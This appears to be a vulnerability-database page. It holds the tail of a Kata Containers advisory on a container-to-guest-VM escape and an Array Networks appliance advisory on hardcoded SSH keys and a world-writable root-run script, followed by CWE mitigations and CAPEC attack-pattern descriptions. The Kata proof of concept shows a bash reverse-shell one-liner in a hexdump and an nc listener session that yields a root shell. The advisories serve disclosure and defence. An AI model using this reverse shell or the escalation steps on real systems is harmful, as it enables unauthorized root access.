58 bytes at absolute offset 167624704. Verifying...\n09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|\n09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i \u003e\u0026 /dev/tcp/|\n09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0\u003e|\n09fdc030 26 31 0a 65 78 69 74 20 30 0a |\u00261.exit 0.|\nroot@ab5392da44ce:~# nc -lvp 443\nNcat: Version 7.93 ( https://nmap.org/ncat )\nNcat: Listening on :::443\nNcat: Listening on 0.0.0.0:443\nNcat: Connection from 127.0.0.1.\nNcat: Connection from 127.0.0.1:44880.\nbash: cannot set terminal process group (329): Inappropriate ioctl for device\nbash: no job control in this shell\nroot@localhost:/# \nroot@localhost:/# ps auxw\nps auxw\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init\nroot 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd]\nroot 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release]\nroot 4 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-rcu_gp]\nroot 5 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-sync_wq]\nroot 6 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-slub_flushwq]\nroot 7 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-netns]\nroot 9 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/0:0H-events_highpri]\nroot 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient]\nroot 12 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-mm_percpu_wq]\nroot 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread]\nroot 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0]\nroot 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched]\nroot 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1]\nroot 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker]\nroot 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0]\nroot 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0]\nroot 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs]\nroot 21 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-inet_frag_wq]\nroot 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd]\nroot 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper]\nroot 24 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-writeback]\nroot 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0]\nroot 26 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-cryptd]\nroot 27 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-kblockd]\nroot 28 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/0:1H]\nroot 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound]\nroot 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0]\nroot 31 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-xfsalloc]\nroot 32 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-xfs_mru_cache]\nroot 33 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/u257:0]\nroot 34 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-kthrotld]\nroot 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged]\nroot 37 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-nfit]\nroot 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock]\nroot 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng]\nroot 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound]\nroot 41 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-vfio-irqfd-cleanup]\nroot 42 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-mld]\nroot 43 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-ipv6_addrconf]\nroot 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8]\nroot 82 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/R-ext4-rsv-conversion]\nroot 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3]\nroot 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent\n_chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1\n_chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1\nroot 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server\nmessage+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only\nroot 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1]\nroot 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1]\nroot 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1]\nroot 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq]\nroot 133 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/1:0H-events_highpri]\nroot 134 0.0 0.0 0 0 ? I\u003c 16:16 0:00 [kworker/1:1H]\nroot 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l\nroot 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1]\nroot 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443\nroot 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean\nroot 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i\nroot 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw\nroot@localhost:/#\n```\n\n### Impact\nContainer to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)",
"id": "GHSA-wwj6-vghv-5p64",
"modified": "2026-02-19T21:30:20Z",
"published": "2026-02-19T15:25:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-wwj6-vghv-5p64"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24834"
},
{
"type": "WEB",
"url": "https://github.com/kata-containers/kata-containers/commit/6a672503973bf7c687053e459bfff8a9652e16bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/kata-containers/kata-containers"
},
{
"type": "WEB",
"url": "https://github.com/kata-containers/kata-containers/releases/tag/3.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Kata Container to Guest micro VM privilege escalation"
}
GHSA-WWVJ-RX6H-PGX7
Vulnerability from github – Published: 2025-07-31 15:35 – Updated: 2025-07-31 15:35Array Networks vAPV (version 8.3.2.17) and vxAG (version 9.2.0.34) appliances are affected by a privilege escalation vulnerability caused by a combination of hardcoded SSH credentials (or SSH private key) and insecure permissions on a startup script. The devices ship with a default SSH login or a hardcoded DSA private key, allowing an attacker to authenticate remotely with limited privileges.
Once authenticated, an attacker can overwrite the world-writable /ca/bin/monitor.sh script with arbitrary commands. Since this script is executed with elevated privileges through the backend binary, enabling the debug monitor via backend -c "debug monitor on" triggers execution of the attacker's payload as root. This allows full system compromise.
{
"affected": [],
"aliases": [
"CVE-2014-125121"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T15:15:34Z",
"severity": "CRITICAL"
},
"details": "Array Networks vAPV (version 8.3.2.17) and vxAG (version 9.2.0.34) appliances are affected by a privilege escalation vulnerability caused by a combination of hardcoded SSH credentials (or SSH private key) and insecure permissions on a startup script. The devices ship with a default SSH login\u00a0or a hardcoded DSA private key, allowing an attacker to authenticate remotely with limited privileges.\n\n\nOnce authenticated, an attacker can overwrite the world-writable /ca/bin/monitor.sh script with arbitrary commands. Since this script is executed with elevated privileges through the backend binary, enabling the debug monitor via backend -c \"debug monitor on\" triggers execution of the attacker\u0027s payload as root. This allows full system compromise.",
"id": "GHSA-wwvj-rx6h-pgx7",
"modified": "2025-07-31T15:35:50Z",
"published": "2025-07-31T15:35:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-125121"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/125761"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/32440"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/array-networks-vapv-vxag-default-credential-privilege-escalation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.
Mitigation
Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.
Mitigation
For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.
Mitigation
Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.
Mitigation
Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.
Mitigation MIT-37
Strategy: Environment Hardening
Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-206: Signing Malicious Code
The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.
CAPEC-234: Hijacking a privileged process
An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-61: Session Fixation
The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
CAPEC-642: Replace Binaries
Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.